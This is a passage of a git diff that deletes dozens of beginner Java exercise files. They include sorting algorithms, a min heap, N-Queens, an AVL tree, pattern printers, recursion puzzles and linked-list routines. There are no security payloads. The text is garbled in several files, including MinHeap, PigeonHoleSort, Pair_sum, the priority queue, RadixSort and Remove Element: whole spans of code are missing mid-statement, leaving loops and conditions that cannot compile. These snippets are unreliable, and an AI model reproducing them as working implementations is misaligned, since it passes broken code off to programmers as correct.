arr[]) - { - int n = arr.length; - for (int i = 0; i < n; ++i) - System.out.print(arr[i] + " "); - System.out.println(); - } - - // Driver code - public static void main(String args[]) - { - int arr[] = { 12, 11, 13, 5, 6, 7 }; - - System.out.println("Given Array"); - printArray(arr); - - MergeSort ob = new MergeSort(); - ob.sort(arr, 0, arr.length - 1); - - System.out.println("\nSorted array"); - printArray(arr); - } -} diff --git a/Add Code Here/JAVA/MinHeap.java b/Add Code Here/JAVA/MinHeap.java deleted file mode 100644 index be6f8cc370b..00000000000 --- a/Add Code Here/JAVA/MinHeap.java +++ /dev/null @@ -1,88 +0,0 @@ -import java.util.ArrayList; - -class LHeap{ //min heap - ArrayList l=new ArrayList<>(); - void insert(int n){ - l.add(n); - int curr=l.size()-1; - int pi=(curr-1)/2; //this formula can also be used for both even and odd - while (curr > 0 && (l.get(pi) > l.get(curr))) { - Integer temp = l.get(curr); // if parent greater than child ,swap - l.set(curr, l.get(pi)); - l.set(pi, temp); - curr = pi; - pi=(curr-1)/2; - } - } - - void delete(int n){ //verify it online - int curr=-1; - for(int i=0;i=l.size()){ //only left child - Integer temp=l.get(curr); - l.set(curr,l.get(L)); - l.set(L, temp); - curr=L; - } - else{ //both child - int min=l.get(L)>l.get(R)? R:L; - Integer temp=l.get(curr); - l.set(curr,l.get(min)); - l.set(min, temp); - curr=min; - } - L=curr*2+1; - R=curr*2+2; - } - } - - void print(){ - for(Integer i:l ){ - System.out.print(i+" "); - } - System.out.println(); - } -} -class MinHeap { - public static void main(String[] args) { - LHeap h=new LHeap(); - h.insert(10); - h.insert(19); - h.insert(20); - h.print(); - h.insert(11); - h.insert(30); - h.insert(35); - h.print(); - h.delete(10); - h.print(); - LHeap t=new LHeap(); - t.insert(12); - t.insert(14); - t.insert(4); - t.insert(5); - t.insert(8); - t.insert(7); - t.insert(6); - t.insert(9); - t.insert(2); - t.insert(10); - t.print(); - t.delete(2); - t.print(); - } -} diff --git a/Add Code Here/JAVA/MinRotatedSortedArray.java b/Add Code Here/JAVA/MinRotatedSortedArray.java deleted file mode 100644 index 83cb674d0f7..00000000000 --- a/Add Code Here/JAVA/MinRotatedSortedArray.java +++ /dev/null @@ -1,28 +0,0 @@ -// https://leetcode.com/problems/find-minimum-in-rotated-sorted-array-ii/ - -public class Min_Num_Rotated_duplicate { - public static void main(String[] args) { - int[] arr1 = {4,5,6,7,0,1,2}; - int[] arr2 = {4,4,4,5,6,7,0,1,4}; - int[] arr3 = {3,3,3,3,3,3,3,3,1,3}; - int[] arr4 = {1,2,3,4,5,6}; - System.out.println(min_rotated(arr1)); - System.out.println(min_rotated(arr2)); - System.out.println(min_rotated(arr3)); - } - static int min_rotated(int[] nums) { - int start = 0; - int end = nums.length - 1; - while (start <= end) { - int mid = start + (end - start) / 2; - if (nums[mid] < nums[end]) { - end = mid; - } else if (nums[mid] > nums[end]) { - start = mid + 1; - } else { - end--; - } - } - return nums[start]; - } -} diff --git a/Add Code Here/JAVA/MirrorMatrix.java b/Add Code Here/JAVA/MirrorMatrix.java deleted file mode 100644 index b3860cfbf8a..00000000000 --- a/Add Code Here/JAVA/MirrorMatrix.java +++ /dev/null @@ -1,54 +0,0 @@ -import java.util.Scanner; - -class MirrorMatrix { - public static void main(String[] shit) { - Scanner sc = new Scanner(System.in); - - System.out.println("Input matrix's length"); - - int length = sc.nextInt(); - - String space = " "; - - space = space.repeat(length * 2 - 2); - - // Defining an empty matrix / 2d array - int[][] ar = new int[length][length]; - int[][] ar2 = new int[length][length]; - - System.out.println("Input the " + (length * length) + " elements of the matrix."); - - // Taking user input for filling the 2d array - for (int i = 0; i < length; i++) { - for (int j = 0; j < length; j++) { - ar[i][j] = sc.nextInt(); - - int J = length - j - 1; - int I = length - i - 1; - - ar2[I][J] = ar[i][j]; - } - } - - // Printing the provided matrix - printMatrix(ar, length, space); - - // Printing the mirror matrix - printMatrix(ar2, length, space); - - sc.close(); - } - - public static void printMatrix(int[][] ar, int length, String space) { - System.out.println(" _" + space + "_"); - for (int i = 0; i < length; i++) { - System.out.print("| "); - for (int j = 0; j < length; j++) { - System.out.print(ar[i][j] + " "); - } - System.out.print("|"); - System.out.println(); - } - System.out.println(" _" + space + "_"); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/NQueens.java b/Add Code Here/JAVA/NQueens.java deleted file mode 100644 index 203136a38f8..00000000000 --- a/Add Code Here/JAVA/NQueens.java +++ /dev/null @@ -1,108 +0,0 @@ -/* Java program to solve N Queen Problem using -backtracking */ -public class NQueenProblem { - final int N = 4; - - /* A utility function to print solution */ - void printSolution(int board[][]) - { - for (int i = 0; i < N; i++) { - for (int j = 0; j < N; j++) - System.out.print(" " + board[i][j] - + " "); - System.out.println(); - } - } - - /* A utility function to check if a queen can - be placed on board[row][col]. Note that this - function is called when "col" queens are already - placed in columns from 0 to col -1. So we need - to check only left side for attacking queens */ - boolean isSafe(int board[][], int row, int col) - { - int i, j; - - /* Check this row on left side */ - for (i = 0; i < col; i++) - if (board[row][i] == 1) - return false; - - /* Check upper diagonal on left side */ - for (i = row, j = col; i >= 0 && j >= 0; i--, j--) - if (board[i][j] == 1) - return false; - - /* Check lower diagonal on left side */ - for (i = row, j = col; j >= 0 && i < N; i++, j--) - if (board[i][j] == 1) - return false; - - return true; - } - - /* A recursive utility function to solve N - Queen problem */ - boolean solveNQUtil(int board[][], int col) - { - /* base case: If all queens are placed - then return true */ - if (col >= N) - return true; - - /* Consider this column and try placing - this queen in all rows one by one */ - for (int i = 0; i < N; i++) { - /* Check if the queen can be placed on - board[i][col] */ - if (isSafe(board, i, col)) { - /* Place this queen in board[i][col] */ - board[i][col] = 1; - - /* recur to place rest of the queens */ - if (solveNQUtil(board, col + 1) == true) - return true; - - /* If placing queen in board[i][col] - doesn't lead to a solution then - remove queen from board[i][col] */ - board[i][col] = 0; // BACKTRACK - } - } - - /* If the queen can not be placed in any row in - this column col, then return false */ - return false; - } - - /* This function solves the N Queen problem using - Backtracking. It mainly uses solveNQUtil () to - solve the problem. It returns false if queens - cannot be placed, otherwise, return true and - prints placement of queens in the form of 1s. - Please note that there may be more than one - solutions, this function prints one of the - feasible solutions.*/ - boolean solveNQ() - { - int board[][] = { { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 } }; - - if (solveNQUtil(board, 0) == false) { - System.out.print("Solution does not exist"); - return false; - } - - printSolution(board); - return true; - } - - // driver program to test above function - public static void main(String args[]) - { - NQueenProblem Queen = new NQueenProblem(); - Queen.solveNQ(); - } -} diff --git a/Add Code Here/JAVA/OddOrEven.java b/Add Code Here/JAVA/OddOrEven.java deleted file mode 100644 index 33e7e899b73..00000000000 --- a/Add Code Here/JAVA/OddOrEven.java +++ /dev/null @@ -1,18 +0,0 @@ -import java.util.Scanner; -public class OddOrEven { - public static void main(String[] args) { - Scanner input=new Scanner(System.in); - int bil; - System.out.println("PROGRAM MENENTUKAN BILANGAN HANJIL & GENAP"); - System.out.println("-------------------------------------------------"); - System.out.print("Masukan Bilangan = "); - bil=input.nextInt(); - - if (bil%2==0){ - System.out.println("Bilangan "+bil+" adalah bilangan genap"); - }else { - System.out.println("Bilangan "+bil+" adalah bilangan ganjil"); - } - - } -} diff --git a/Add Code Here/JAVA/Pair_sum.java b/Add Code Here/JAVA/Pair_sum.java deleted file mode 100644 index 5679bc7b49a..00000000000 --- a/Add Code Here/JAVA/Pair_sum.java +++ /dev/null @@ -1,27 +0,0 @@ -/* Pair Sum/ two sum : finding all the pairs whose sum is x -(For ex: finding all the pairs whose sum is 7) - - Naive solution--brute force approach - */ -import java.util.*; -public class Pair_sum { - public static void main(String args[]){ - Scanner sc=new Scanner(System.in); - System.out.print("Enter the number whose pairs are to be found: "); - int sum=sc.nextInt(); - int[] arr={2,3,4,5,1}; - pairSum(arr,sum); - - } - - public static void pairSum(int[] arr, int sum){ - for(int i=0;i= 1; col--){ - System.out.print(col); - } - - for(int col = 2; col <= colStart; col++){ - System.out.print(col); - } - System.out.println(); - } - System.out.println(); - } - - static void pattern18(){ - - int rows = 5; - System.out.println(); - - for(int row = 1; row <= 2 * rows; row++){ - int colEnd = row<=rows?rows - row + 1:row - rows; - int spaceCount = row<=rows?row - 1:rows - (row - rows); - - for(int col = 1; col <= colEnd; col++){ - System.out.print("*"); - } - - for(int space = 1; space <= spaceCount * 2; space++){ - System.out.print(" "); - } - - for(int col = 1;col <= colEnd;col++){ - System.out.print("*"); - } - System.out.println(); - } - System.out.println(); - } - - static void pattern19(){ - - int rows = 5; - System.out.println(); - - for(int row = 1; row <= 2 * rows - 1; row++){ - - int colEnd = row<=rows?row:rows - (row - rows); - int spaceCount = row<=rows?rows - row:row - rows; - - for(int col = 1; col <= colEnd; col++){ - System.out.print("*"); - } - - for(int space = 1; space <= spaceCount * 2; space++){ - System.out.print(" "); - } - - for(int col = 1;col <= colEnd;col++){ - System.out.print("*"); - } - System.out.println(); - } - System.out.println(); - } - - static void pattern20(){ - - int rows = 5; - System.out.println(); - - for(int row = 1; row <= rows; row++){ - for(int col = 1;col <= rows;col++){ - if(col == 1 || col == rows || row == 1 || row == rows){ - System.out.print("*"); - } - - else{ - System.out.print(" "); - } - } - System.out.println(); - } - - System.out.println(); - } - - static void pattern21(){ - System.out.println(); - int rows = 5; - int num = 1; - for(int row = 1; row <= rows; row++){ - for(int col = 1; col <= row; col++){ - System.out.print(num + " "); - num++; - } - - System.out.println(); - } - System.out.println(); - } - - static void pattern22(){ - System.out.println(); - int rows = 5; - for(int row = 1; row <= rows; row++){ - for(int col = 1; col <= row; col++){ - if((row + col) % 2 == 0) - System.out.print("1 "); - else - System.out.print("0 "); - } - - System.out.println(); - } - System.out.println(); - } - - // static void pattern23(){ - - // /* * * - // * * * * - // * * * 3 + 1 - - // * * - // * * * * - // * * * * - // * * * 4 + 2 - - - // * * - // * * * * - // * * * * - // * * * * - // * * * 5 + 3 - // */ - // int rows = 3; - - // for(int row = 1; row <= rows; row++){ - // for(int spaceCount = 1; spaceCount <= rows - row; spaceCount++){ - // System.out.print(" "); - // } - - // for(int col = 1; col <= row; col++){ - // if(col == 1 || col == row){ - // if(col == 1){ - // System.out.print("* "); - // } - // else{ - // System.out.print("*"); - // } - // } - - // else - // System.out.print(" "); - // } - - // for(int spaceCount = 1; spaceCount <= rows - row; spaceCount++){ - // System.out.print(" "); - // } - - // for(int spaceCount = 1;spaceCount<= (rows - 1) - row; spaceCount++){ - // if(row == rows || row == rows - 1){ - - // } - // else{ - // System.out.print(" "); - // } - // } - - - // if(row != rows){ - // for(int col = 1; col <= row; col++){ - // if(col == 1 || col == row){ - // System.out.print("* "); - // } - // else{ - // System.out.println(" "); - // } - // } - // } - // System.out.println(); - - // } - // } - - static void pattern24(){ - int rows = 5; - System.out.println(); - - for(int row = 1; row <= 2 * rows; row++){ - - int totalSpaces = row <= rows?rows - row:(row - rows - 1); - int totalcols = row<= rows?row:rows - (row - rows - 1); - - for(int col = 1; col <= totalcols; col++){ - if(col == 1 || col == totalcols){ - System.out.print("*"); - } - else{ - System.out.print(" "); - } - } - - for(int spaceCount = 1; spaceCount <= 2 * totalSpaces; spaceCount++){ - System.out.print(" "); - } - - for(int col = 1; col <= totalcols; col++){ - if(col == 1 || col == totalcols){ - System.out.print("*"); - } - else{ - System.out.print(" "); - } - } - - System.out.println(); - } - System.out.println(); - } - - static void pattern25(){ - int rows = 5; - System.out.println(); - - for(int row = 1;row <= rows; row++){ - for(int spaceCount = 1; spaceCount <= rows - row; spaceCount++){ - System.out.print(" "); - } - - for(int col = 1; col <= rows; col++){ - if(col == 1 || col == rows || row == 1 || row == rows){ - System.out.print("*"); - } - else{ - System.out.print(" "); - } - } - System.out.println(); - } - System.out.println(); - } - - static void pattern26(){ - System.out.println(); - int rows = 6; - for(int row = 1; row <= rows; row++){ - for(int col = 1; col <= rows - row + 1; col++){ - System.out.print(row + " "); - } - System.out.println(); - } - System.out.println(); - } - - // static void pattern27(){ - - // } - - static void pattern28(){ - int rows = 4; - System.out.println(); - - for(int row = 1; row <= 2 * rows- 1; row++){ - int totalSpaces = row <= rows ? (rows - row):(row - rows); - int totalcols = row <= rows? row : rows - (row - rows) ; - - for(int spaceCount = 1; spaceCount <= totalSpaces; spaceCount++){ - System.out.print(" "); - } - - for(int col = 1; col <= totalcols; col++){ - System.out.print("* "); - } - - System.out.println(); - } - System.out.println(); - } - - static void pattern29(){ - int rows = 5; - System.out.println(); - - for(int row = 1; row <= 2 * rows - 1; row++){ - - int totalSpaces = row <= rows?rows - row:(row - rows); - int totalcols = row<= rows?row:rows - (row - rows); - - for(int col = 1; col <= totalcols; col++){ - System.out.print("*"); - } - - for(int spaceCount = 1; spaceCount <= 2 * totalSpaces; spaceCount++){ - System.out.print(" "); - } - - for(int col = 1; col <= totalcols; col++){ - System.out.print("*"); - } - - System.out.println(); - } - System.out.println(); - } - - static void pattern30(){ - int rows = 5; - System.out.println(); - - for(int row = 1; row <= rows; row++){ - for(int spaceCount = 1; spaceCount <= rows - row; spaceCount++){ - System.out.print(" "); - } - - for(int col = row; col >= 1; col--){ - System.out.print(col+ " "); - } - - for(int col = 2; col <= row; col++){ - System.out.print(col + " "); - } - System.out.println(); - } - System.out.println(); - } - - // static void pattern31(){ - // int rows = 5; - - // for(int row = 1; row < 2 * rows - 1; row++){ - // for(int col = 1; col < 2 * rows - 1; col++){ - // int curr = rows - Math.min(Math.min(row,col), Math.min((2 * rows - 1) - row,(2 * rows - 1) - col )); - - // System.out.print(curr + " "); - // } - // System.out.println(); - // } - // } - - static void pattern32(){ - int rows = 5; - System.out.println(); - - for(int row = 1; row <= rows; row++){ - int colStart = (64 + (rows - row + 1)); - for(int col = colStart; col < 65 + rows; col++){ - char ch = (char)col; - System.out.print(ch + " "); - } - System.out.println(); - } - System.out.println(); - } - - // static void pattern33(){ - - // } - - static void pattern34(){ - int rows = 5; - - for(int row = 1; row <= rows; row++){ - int colStart = 64 + rows - row + 1; - - for(int col = colStart; col > 64; col--){ - System.out.print((char)(col) + " "); - } - System.out.println(); - } - } - - static void pattern35(){ - int rows = 4; - System.out.println(); - - for(int row = 1; row <= rows; row++){ - for(int col = 1;col <= row; col++){ - System.out.print(col + " "); - } - - for(int spaceCount = 1; spaceCount <= 2 * (rows - row); spaceCount++){ - System.out.print(" "); - } - - for(int col = row; col >= 1; col--){ - System.out.print(col + " "); - } - System.out.println(); - } - System.out.println(); - - } -} - - diff --git a/Add Code Here/JAVA/PigeonHoleSort.java b/Add Code Here/JAVA/PigeonHoleSort.java deleted file mode 100644 index 1f08339d028..00000000000 --- a/Add Code Here/JAVA/PigeonHoleSort.java +++ /dev/null @@ -1,47 +0,0 @@ -import java.lang.*; -import java.util.*; - -public class PigeonHoleSort -{ - public static void pigeonhole_sort(int arr[], - int n) - { - int min = arr[0]; - int max = arr[0]; - int range, i, j, index; - - for(int a=0; a max) - max = arr[a]; - if(arr[a] < min) - min = arr[a]; - } - - range = max - min + 1; - int[] phole = new int[range]; - Arrays.fill(phole, 0); - - for(i = 0; i0) - arr[index++]=j+min; - - } - - public static void main(String[] args) - { - PigeonHoleSort sort = new PigeonHoleSort(); - int[] arr = {8, 3, 2, 7, 4, 6, 8}; - System.out.print("Sorted order is : "); - sort.pigeonhole_sort(arr,arr.length); - for(int i=0 ; i=0;i--) { - if (val > arr[i]) { - arr[i+1] = arr[i]; - } - else break; - } - arr[i+1] = val; - n++; - } - void print(){ - for (int i=n-1;i>=0;i--) { - System.out.print(arr[i] + " "); - } - } -} - - -public class Main { - public static void main(String[] args) { - var q = new priorityQueue(5); - q.insert(1); - q.insert(2); - q.insert(6); - q.insert(9); - q.insert(3); - q.print(); - } -} diff --git a/Add Code Here/JAVA/Ques5.java b/Add Code Here/JAVA/Ques5.java deleted file mode 100644 index 86283c68a8f..00000000000 --- a/Add Code Here/JAVA/Ques5.java +++ /dev/null @@ -1,283 +0,0 @@ -class AvlNode { - public int data; - public AvlNode left; - public AvlNode right; - public AvlNode parent; - public int height; - - public AvlNode(int data) { - this.data = data; - this.left = null; - this.right = null; - this.parent = null; - this.height = 0; - } -} -public class Ques5 { - public AvlNode root; - - public Ques5() { - this.root = null; - } - - public static int max(int a, int b) { - if(a > b) - return a; - return b; - } - - public int height(AvlNode h) { - if(h == null) - return -1; - return h.height; - } - - public AvlNode minimum(AvlNode x) { - while(x.left != null) - x = x.left; - return x; - } - - public void lRotate(AvlNode x) { - AvlNode y = x.right; - x.right = y.left; - if(y.left != null) { - y.left.parent = x; - } - y.parent = x.parent; - if(x.parent == null) { - this.root = y; - } - else if(x == x.parent.left) { - x.parent.left = y; - } - else { - x.parent.right = y; - } - y.left = x; - x.parent = y; - - x.height = 1 + max(height(x.left), height(x.right)); - y.height = 1 + max(height(y.left), height(y.right)); - } - - public void rRotate(AvlNode x) { - AvlNode y = x.left; - x.left = y.right; - if(y.right != null) { - y.right.parent = x; - } - y.parent = x.parent; - if(x.parent == null) { - this.root = y; - } - else if(x == x.parent.right) { - x.parent.right = y; - } - else { - x.parent.left = y; - } - y.right = x; - x.parent = y; - - x.height = 1 + max(height(x.left), height(x.right)); - y.height = 1 + max(height(y.left), height(y.right)); - } - - public int balFactor(AvlNode f) { - if(f == null) - return 0; - return(height(f.left) - height(f.right)); - } - - public void insert(AvlNode n) { - AvlNode y = null; - AvlNode temp = this.root; - while(temp != null) { - y = temp; - if(n.data < temp.data) - temp = temp.left; - else - temp = temp.right; - } - n.parent = y; - - if(y == null) - this.root = n; - else if(n.data < y.data) - y.left = n; - else - y.right = n; - - AvlNode z = n; - - while(y != null) { - y.height = 1 + max(height(y.left), height(y.right)); - - - AvlNode x = y.parent; - - if(balFactor(x) <= -2 || balFactor(x) >= 2) { - if(y == x.left) { - if(z == x.left.left) - rRotate(x); - - else if(z == x.left.right) { - lRotate(y); - rRotate(x); - } - } - else if(y == x.right) { - if(z == x.right.right) - lRotate(x); - - else if(z == x.right.left) { - rRotate(y); - lRotate(x); - } - } - break; - } - y = y.parent; - z = z.parent; - } - } - - public void transplant(AvlNode u, AvlNode v) { - if(u.parent == null) - this.root = v; - else if(u == u.parent.left) - u.parent.left = v; - else - u.parent.right = v; - - if(v != null) - v.parent = u.parent; - } - - public void avlDeleteFixup(AvlNode n) { - AvlNode p = n; - - while(p != null) { - p.height = 1 + max(height(p.left), height(p.right)); - - if(balFactor(p) <= -2 || balFactor(p) >= 2) { - AvlNode x, y, z; - x = p; - - - if(x.left.height > x.right.height) - y = x.left; - else - y = x.right; - - - if(y.left.height > y.right.height) { - z = y.left; - } - else if(y.left.height < y.right.height) { - z = y.right; - } - else { - if(y == x.left) - z = y.left; - else - z = y.right; - } - - if(y == x.left) { - if(z == x.left.left) - rRotate(x); - - else if(z == x.left.right) { - lRotate(y); - rRotate(x); - } - } - else if(y == x.right) { - if(z == x.right.right) - lRotate(x); - - else if(z == x.right.left) { - rRotate(y); - lRotate(x); - } - } - } - p = p.parent; - } - } - - public void delete(AvlNode z) { - if(z.left == null) { - transplant(z, z.right); - if(z.right != null) - avlDeleteFixup(z.right); - } - else if(z.right == null) { - transplant(z, z.left); - if(z.left != null) - avlDeleteFixup(z.left); - } - else { - AvlNode y = minimum(z.right); - if(y.parent != z) { - transplant(y, y.right); - y.right = z.right; - y.right.parent = y; - } - transplant(z, y); - y.left = z.left; - y.left.parent = y; - if(y != null) - avlDeleteFixup(y); - } - } - - public void inorder(AvlNode n) { - if(n != null) { - inorder(n.left); - System.out.println(n.data); - inorder(n.right); - } - } - - public static void main(String[] args) { - Ques5 n = new Ques5(); - - AvlNode a, b, c, d, e, f, g, h, i, j, k, l, m; - a = new AvlNode(9); - b = new AvlNode(18); - c = new AvlNode(24); - d = new AvlNode(95); - e = new AvlNode(89); - f = new AvlNode(37); - g = new AvlNode(41); - h = new AvlNode(58); - i = new AvlNode(63); - j = new AvlNode(75); - k = new AvlNode(143); - l = new AvlNode(107); - m = new AvlNode(116); - - n.insert(a); - n.insert(b); - n.insert(c); - n.insert(d); - n.insert(e); - n.insert(f); - n.insert(g); - n.insert(h); - n.insert(i); - n.insert(j); - n.insert(k); - n.insert(l); - n.insert(m); - - n.delete(f); - n.delete(l); - - n.inorder(n.root); - } - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/RadixSort.java b/Add Code Here/JAVA/RadixSort.java deleted file mode 100644 index 73759d93bff..00000000000 --- a/Add Code Here/JAVA/RadixSort.java +++ /dev/null @@ -1,51 +0,0 @@ -package tryyy; -import java.io.*; -import java.util.*; -class RadixSort { - static int getMax(int[] arr, int n) - { - int mx = arr[0]; - for (int i = 1; i < n; i++) - if (arr[i] > mx) - mx = arr[i]; - return mx; - } - static void countSort(int[] arr, int n, int exp) - { - int[] output = new int[n]; // output array - int i; - int[] count = new int[10]; - Arrays.fill(count, 0); - for (i = 0; i < n; i++) - count[(arr[i] / exp) % 10]++; - for (i = 1; i < 10; i++) - count[i] += count[i - 1]; - for (i = n - 1; i >= 0; i--) { - output[count[(arr[i] / exp) % 10] - 1] = arr[i]; - count[(arr[i] / exp) % 10]--; - } - for (i = 0; i < n; i++) - arr[i] = output[i]; - } - static void radixsort(int[] arr, int n) - { - int m = getMax(arr, n); - for (int exp = 1; m / exp > 0; exp *= 10) - countSort(arr, n, exp); - } - static void print(int[] arr, int n) - { - for (int i = 0; i < n; i++) - System.out.print(arr[i] + " "); - } - public static void main(String[] args) - { - Scanner sc=new Scanner(System.in); - int n=sc.nextInt(); - int[] arr=new int[n]; - for(int i=0;i list = new LinkedList<>(); - list.add(1); - list.add(2); - list.add(3); - list.add(4); - list.add(5); - list.add(6); - System.out.println(list); - reverseList(list); - System.out.println(list); - - } -} diff --git a/Add Code Here/JAVA/Recursion/recursion_NoOfSubset.java b/Add Code Here/JAVA/Recursion/recursion_NoOfSubset.java deleted file mode 100644 index 15a79aee846..00000000000 --- a/Add Code Here/JAVA/Recursion/recursion_NoOfSubset.java +++ /dev/null @@ -1,31 +0,0 @@ - -import java.util.*; - -public class recursion_NoOfSubset { - - public static void PrintSubset(ArrayList Subset){ - for(int i=0;i Subset){ - if(n==0){ - PrintSubset(Subset); - System.out.println(); - return; - } - - //comming - Subset.add(n); - FindSubset(n-1, Subset); - - //not comming - Subset.remove(Subset.size()-1); - FindSubset(n-1, Subset); - } - public static void main(String[] args) { - ArrayList Subset = new ArrayList<>(); - FindSubset(3, Subset); - } -} diff --git a/Add Code Here/JAVA/Recursion/recursion_ReverseAString.java b/Add Code Here/JAVA/Recursion/recursion_ReverseAString.java deleted file mode 100644 index 43ad2abb610..00000000000 --- a/Add Code Here/JAVA/Recursion/recursion_ReverseAString.java +++ /dev/null @@ -1,28 +0,0 @@ -public class recursion_ReverseAString { - static int first = -1; - static int last = -1; - public static void reverseStr(String str, int index,char character){ - - if(index==str.length()){ - System.out.println("first occurance at index "+first); - System.out.println("last occurance at index "+last); - return; - } - char currentChar = str.charAt(index); - if(currentChar == character){ - if(first == -1){ - first = index; - last = index; - } - else{ - last = index; - } - } - reverseStr(str, index+1, character); - } - public static void main(String[] args) { - String s1 = "abddhjfjfjjfjjfjf"; - System.out.println(s1.length()); - reverseStr(s1, 0, 'a'); - } -} diff --git a/Add Code Here/JAVA/Recursion/recursion_allPossiblePathInAMatrix.java b/Add Code Here/JAVA/Recursion/recursion_allPossiblePathInAMatrix.java deleted file mode 100644 index 4c17fe26507..00000000000 --- a/Add Code Here/JAVA/Recursion/recursion_allPossiblePathInAMatrix.java +++ /dev/null @@ -1,21 +0,0 @@ -public class recursion_allPossiblePathInAMatrix { - public static int possiblePath(int n,int m,int fx, int fy){ - if(n==fx-1 && m==fy-1){ - return 0; - } - else if(n==fx-1 || m==fy-1){ - return 1; - } - //downward - int downward = possiblePath(n+1, m, fx, fy); - - //rightward - int rightward = possiblePath(n, m+1, fx, fy); - - return downward+rightward; - } - public static void main(String[] args) { - System.out.println("total no. of ways are "+possiblePath(0, 0, 1, 4)); - } - -} diff --git a/Add Code Here/JAVA/Recursion/recursion_keypad_combination.java b/Add Code Here/JAVA/Recursion/recursion_keypad_combination.java deleted file mode 100644 index a4e8d53c6f0..00000000000 --- a/Add Code Here/JAVA/Recursion/recursion_keypad_combination.java +++ /dev/null @@ -1,18 +0,0 @@ -public class recursion_keypad_combination { - public static String keypad[] = {".","abc","def","ghi","jkl","mno","pqrs","tu","vwx","yz"}; - public static void printCombinations(String str, int index, String combinations ){ - if(index == str.length()){ - System.out.println(combinations); - return; - } - char currentChar = str.charAt(index); - String reqString = keypad[currentChar - '0']; - int strLength = keypad[currentChar - '0'].length(); - for(int i=0;i set){ - if(index == str.length()){ - if(set.contains(newString)){ - return; - }else{ - System.out.println(newString); - set.add(newString); - return; - } - } - char currentChar = str.charAt(index); - // to add - printSubsequence(str, index+1, newString+currentChar, set); - //not to add - printSubsequence(str, index+1, newString, set); - } - public static void main(String[] args) { - String str = "abc"; - HashSet set = new HashSet<>(); - printSubsequence(str, 0, "", set); - } -} diff --git a/Add Code Here/JAVA/Recursion/recursion_waysToinvitePeopleInParty.java b/Add Code Here/JAVA/Recursion/recursion_waysToinvitePeopleInParty.java deleted file mode 100644 index 7b2c205a4db..00000000000 --- a/Add Code Here/JAVA/Recursion/recursion_waysToinvitePeopleInParty.java +++ /dev/null @@ -1,18 +0,0 @@ -public class recursion_waysToinvitePeopleInParty { - public static int TotalWays(int n){ - if(n<=1){ - return 1; - } - //single - int single_ways = TotalWays(n-1); - - //in pair - int pair_ways = (n-1)*TotalWays(n-2); - - return single_ways+pair_ways; - } - public static void main(String[] args) { - - System.out.println("total no. of ways are "+TotalWays(4)); - } -} diff --git a/Add Code Here/JAVA/Remove Element.java b/Add Code Here/JAVA/Remove Element.java deleted file mode 100644 index fc4a0484f4c..00000000000 --- a/Add Code Here/JAVA/Remove Element.java +++ /dev/null @@ -1,68 +0,0 @@ -// Given an integer array nums and an integer val, remove all occurrences of val in nums in-place. The relative order of the elements may be changed. - -// Since it is impossible to change the length of the array in some languages, you must instead have the result be placed in the first part of the array nums. More formally, if there are k elements after removing the duplicates, then the first k elements of nums should hold the final result. It does not matter what you leave beyond the first k elements. - -// Return k after placing the final result in the first k slots of nums. - -// Do not allocate extra space for another array. You must do this by modifying the input array in-place with O(1) extra memory. - -// Custom Judge: - -// The judge will test your solution with the following code: - -// int[] nums = [...]; // Input array -// int val = ...; // Value to remove -// int[] expectedNums = [...]; // The expected answer with correct length. -// // It is sorted with no values equaling val. - -// int k = removeElement(nums, val); // Calls your implementation - -// assert k == expectedNums.length; -// sort(nums, 0, k); // Sort the first k elements of nums -// for (int i = 0; i < actualLength; i++) { -// assert nums[i] == expectedNums[i]; -// } -// If all assertions pass, then your solution will be accepted. - - - -// Example 1: - -// Input: nums = [3,2,2,3], val = 3 -// Output: 2, nums = [2,2,_,_] -// Explanation: Your function should return k = 2, with the first two elements of nums being 2. -// It does not matter what you leave beyond the returned k (hence they are underscores). -// Example 2: - -// Input: nums = [0,1,2,2,3,0,4,2], val = 2 -// Output: 5, nums = [0,1,4,0,3,_,_,_] -// Explanation: Your function should return k = 5, with the first five elements of nums containing 0, 0, 1, 3, and 4. -// Note that the five elements can be returned in any order. -// It does not matter what you leave beyond the returned k (hence they are underscores). - - -// Constraints: - -// 0 <= nums.length <= 100 -// 0 <= nums[i] <= 50 -// 0 <= val <= 100 - - -class Solution { - public int removeElement(int[] nums, int val) { - int i,x=0; - int l = nums.length; - - for(i=0;i 'Z' && s.charAt(i) < 'a' || s.charAt(i) > 'z'){ - s = s.substring(0, i) + s.substring(i + 1); - i--; - } - } - System.out.println(s); - } -} diff --git a/Add Code Here/JAVA/ReverseALinkedListInGroupsOfGivenSize.java b/Add Code Here/JAVA/ReverseALinkedListInGroupsOfGivenSize.java deleted file mode 100644 index a9ce5de72b1..00000000000 --- a/Add Code Here/JAVA/ReverseALinkedListInGroupsOfGivenSize.java +++ /dev/null @@ -1,113 +0,0 @@ -import java.util.*; - -// Linked List Node -class Node { - int data; - Node next; - Node(int a) - { - data = a; - next = null; - } -} - -class GFG { - // utility function to insert node in the list - static Node push(Node head, int val) - { - Node newNode = new Node(val); - if (head == null) { - head = newNode; - return head; - } - - Node temp = head; - while (temp.next != null) - temp = temp.next; - - temp.next = newNode; - return head; - } - - // utility function to reverse k nodes in the list - static Node reverse(Node head, int k) - { - // If head is NULL or K is 1 then return head - if (head == null || head.next == null) - return head; - - // creating dummy node - Node dummy = new Node(-1); - dummy.next = head; - - // Initializing three points prev, curr, next - Node prev = dummy; - Node curr = dummy; - Node next = dummy; - - // Calculating the length of linked list - int count = 0; - while (curr != null) { - count++; - curr = curr.next; - } - - // Iterating till next is not NULL - while (next != null) { - curr = prev.next; // Curr position after every - // reverse group - next = curr.next; // Next will always next to - // curr - int toLoop - = count > k - ? k - : count - 1; // toLoop will set to - // count - 1 in case of - // remaining element - - for (int i = 1; i < toLoop; i++) { - // 4 steps as discussed above - curr.next = next.next; - next.next = prev.next; - prev.next = next; - next = curr.next; - } - prev = curr; // Setting prev to curr - count -= k; // Update count - } - return dummy.next; // dummy -> next will be our new - // head for output linked - // list - } - // utility function to print the list - static void print(Node head) - { - while (head.next != null) { - System.out.print(head.data + " "); - head = head.next; - } - System.out.println(head.data); - } - - public static void main(String args[]) - { - Node head = null; - int k = 3; - head = push(head, 1); - head = push(head, 2); - head = push(head, 3); - head = push(head, 4); - head = push(head, 5); - head = push(head, 6); - head = push(head, 7); - head = push(head, 8); - head = push(head, 9); - - System.out.println("Given Linked List"); - print(head); - System.out.println("Reversed list"); - Node newHead = reverse(head, k); - print(newHead); - } -} -// This code is contributed by Rishabh Joshi diff --git a/Add Code Here/JAVA/ReverseLinkedList.java b/Add Code 